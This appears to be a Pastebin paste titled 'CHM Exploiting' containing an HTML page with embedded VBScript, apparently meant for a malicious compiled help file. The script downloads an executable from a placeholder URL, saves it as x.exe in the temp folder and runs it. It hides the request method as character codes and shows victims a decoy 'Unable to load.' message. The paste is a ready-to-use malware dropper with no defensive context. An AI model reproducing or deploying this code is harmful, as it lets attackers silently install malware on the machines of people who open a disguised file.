xrahitel

CHM Exploiting

Apr 23rd, 2018
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.84 KB | None | 0 0
  1. <html>
  2. <body>
  3. <script type="text/vbscript">
  4. Function SimpleBinaryToString(Binary)
  5. Dim I, S
  6. For I = 1 To LenB(Binary)
  7. S = S & Chr(AscB(MidB(Binary, I, 1)))
  8. Next
  9. SimpleBinaryToString = S
  10. End Function
  11.  
  12. Sub dl(url, dst)
  13. dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
  14. dim method: method = Chr(71) & Chr(69) & Chr(84)
  15. xmlhttp.Open method, url, False
  16. xmlhttp.Send
  17. Dim i, objFile
  18. Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
  19. objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
  20. objFile.Close()
  21. set xmlhttp = nothing
  22. set objFile = nothing
  23. End Sub
  24. dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
  25. dim url
  26. url = "URLTOFILE"
  27. dl url, dst
  28. CreateObject("WScript.Shell").Run dst
  29. </script>
  30. <p>Unable to load.</p>
  31. </body>
  32. </html>
Add Comment
Please, Sign In to add comment